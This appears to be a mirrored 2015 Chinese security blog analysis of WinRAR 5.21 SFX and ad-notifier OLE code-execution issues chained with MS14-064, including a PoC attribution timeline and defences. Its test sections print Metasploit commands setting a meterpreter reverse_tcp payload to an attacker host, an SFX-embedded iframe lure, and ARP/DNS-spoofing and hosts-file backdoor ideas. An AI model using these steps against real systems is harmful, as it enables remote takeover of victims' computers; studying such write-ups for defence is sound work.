WinRAR(5.21)-0day漏洞-始末分析

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/10/12 10:35

0x00 前言


上月底,WinRAR 5.21被曝出程式碼執行漏洞,Vulnerability Lab將此漏洞評為高危級,危險係數定為9(滿分為10),與此同時安全研究人員Mohammad Reza Espargham釋出了PoC,實現了使用者開啟SFX檔案時隱蔽執行攻擊程式碼,但是WinRAR官方RARLabs認為該功能是軟體安裝必備,沒有必要釋出任何修復補丁或升級版本。

本以為就此可以跳過該漏洞,但深入研究後發現了更加有趣的事情。

這裡寫圖片描述

0x01 WinRar 5.21 - SFX OLE 程式碼執行漏洞


簡要介紹一下WinRar 5.21 - SFX OLE 程式碼執行漏洞

1、相關概念

SFX: SelF-eXtracting的縮寫,中文翻譯自解壓檔案,是壓縮檔案的一種,其可以在沒有安裝壓縮軟體的情況下執行解壓縮

MS14-064: Microsoft Windows OLE遠端程式碼執行漏洞,影響Win95+IE3 – Win10+IE11全版本,實際使用時在win7以上系統由於IE存在沙箱機制,啟動白名單以外的程式會彈出提示,如圖

這裡寫圖片描述

2、漏洞原理

sfx檔案在建立時支援新增html指令碼,但又不會受IE沙箱限制,如果主機存在MS14-064漏洞,在開啟包含MS14-064 exp的sfx檔案後,即可隱蔽執行任意程式碼

3、測試環境

win7 x86
存在MS14-064漏洞
安裝WinRar 5.21

4、測試過程

實現相對簡單,因此只作簡要介紹

(1)搭建server

use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.131
set LPORT 1234
exploit

如圖

這裡寫圖片描述

(2)生成SFX

選擇一個檔案右鍵並新增到壓縮檔案
選中Create SFX archive
點選Advanced
點選SFX options
點選Text and icon

在Text to display in SFX windows中輸入如下程式碼:

<iframe src="http://192.168.40.131:8080/YrrArF9oTAQ7j"></iframe>

(3)執行sfx檔案

雙擊後meterpreter即上線

5、分析

  1. 這種在sfx檔案中新增html程式碼的方法很久以前已經出現,比如早在08年已存在的Winrar掛馬 相關連結:http://www.2cto.com/Article/200804/25081.html
  2. 此漏洞的亮點在於使得MS14-064漏洞exp可以逃脫IE沙箱的限制
  3. 發現是否包含SFX OLE 程式碼執行漏洞的方法:遇到字尾為.exe的壓縮檔案,右鍵-屬性-註釋,檢視其中的內容如圖

這裡寫圖片描述

0x02 poc之謎


Vulnerability Lab和Malwarebytes以及各大網站誇大漏洞危害本就十分有趣,而poc作者的歸屬又引來了更加有趣的事情。

接下來根據蒐集的資訊整理出如下時間節點:

1、seclists.org曝出WinRAR 5.21程式碼執行漏洞

文中公開Mohammad Reza Espargham的poc

日期:28/09/2015

相關連結:http://seclists.org/fulldisclosure/2015/Sep/106

2、WinRar官方RARLabs作出第一次回應

限制SFX模組中的HTML功能會影響正常使用者使用,而且攻擊者仍可利用舊版SFX模組、來自非UnRAR原始碼的自定義模組、或者自建程式碼存檔進行攻擊 所以RARLabs拒絕為此提供補丁並再次提醒使用者,無論任何檔案,都應該確認其來源是否可信

相關連結:http://www.rarlab.com/vuln_sfx_html.htm

3、RARLabs作出第二次回應

指出該漏洞誇大其辭毫無意義,建議使用者更多去關注windows系統的安全,而不是WinRar軟體的本身 在最後提到R-73eN ( RioSherri )舉報Mohammad Reza Espargham抄襲其poc程式碼

相關連結:http://www.rarlab.com/vuln_sfx_html2.htm

4、0day.today或許可以證明存在抄襲

(1) R-73eN首發poc

日期:25/09/2015

相關連結:http://0day.today/exploit/24292

(2) Mohammad Reza Espargham隨後釋出poc

日期:26-09-2015

相關連結:http://cn.0day.today/exploit/24296

5、R-73eN為證明實力公佈第二個漏洞WinRAR(過期通知) OLE遠端程式碼執行漏洞poc

日期:30-09-2015

相關連結:http://0day.today/exploit/24326

6、RARLabs針對R-73eN公佈的第二個漏洞作出回應,拒絕修復

-試用版WinRaR會彈出提示註冊的視窗,該漏洞被利用存在可能
-利用條件:
    網路被劫持
    未安裝MS14-064漏洞補丁
-但是又指出如果滿足利用條件,那麼系統本身已經不安全,早已超出WinRaR軟體自身範疇
-因此拒絕為此漏洞更新補丁

相關連結:http://www.rarlab.com/vuln_web_html.htm

0x03 WinRAR - (過期通知&廣告) OLE 遠端程式碼執行漏洞


雖然WinRAR(過期通知) OLE遠端程式碼執行漏洞也被RARLabs忽略,但其中的思路很是有趣,當然R-73eN公佈的poc需要作部分修改來適用更多winRAR環境

1、相關知識

我們在使用WinRAR的時候常常會遇到如下情況:

開啟WinRAR時會彈出廣告,提示使用者付費去掉廣告,而不同版本WinRaR廣告的連結會存在差異
英文版目前最新為5.30 beta5
中文版目前最新為5.21
英文版廣告連結:http://www.win-rar.com/notifier/
中文版廣告連結:http://www.winrar.com.cn/ad/***

2、漏洞原理

WinRAR預設會訪問特定網址,如果能夠劫持並替換為MS14-064的攻擊程式碼,那麼遠端執行任意程式碼不在話下,當然也能逃脫IE沙箱限制

3、測試環境

win7 x86
存在MS14-064漏洞
安裝WinRar 5.21 cn

4、測試過程

(1)搭建server 下載poc,相關連結:http://0day.today/exploit/24326

poc需要作細微修改(此處暫不提供修改方法),執行python指令碼,如圖

這裡寫圖片描述

注:如果瞭解MS14-064漏洞原理,此處修改輕而易舉

(2)重定向http://www.winrar.com.cn至server ip

可使用arp欺騙和dns欺騙

(3)使用WinRar開啟任意檔案

預設彈出廣告,觸發漏洞,彈出計算器,如圖

這裡寫圖片描述

這裡寫圖片描述

5、分析

  1. 雖然該漏洞條件限制相對多,但該思路很有啟發性,可以嘗試利用其他軟體預設彈出網頁的情況
  2. 可以透過修改主機host檔案永久更改廣告連結至serverip,最終實現一種另類的後門啟動方式
  3. 針對此漏洞的防範:
    • 阻止網路被劫持
    • 安裝MS14-064漏洞補丁

0x04 小結


WinRar的漏洞相對較少,但如果結合其他攻擊方式能否突破其官方宣稱的安全邏輯,值得繼續研究。

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章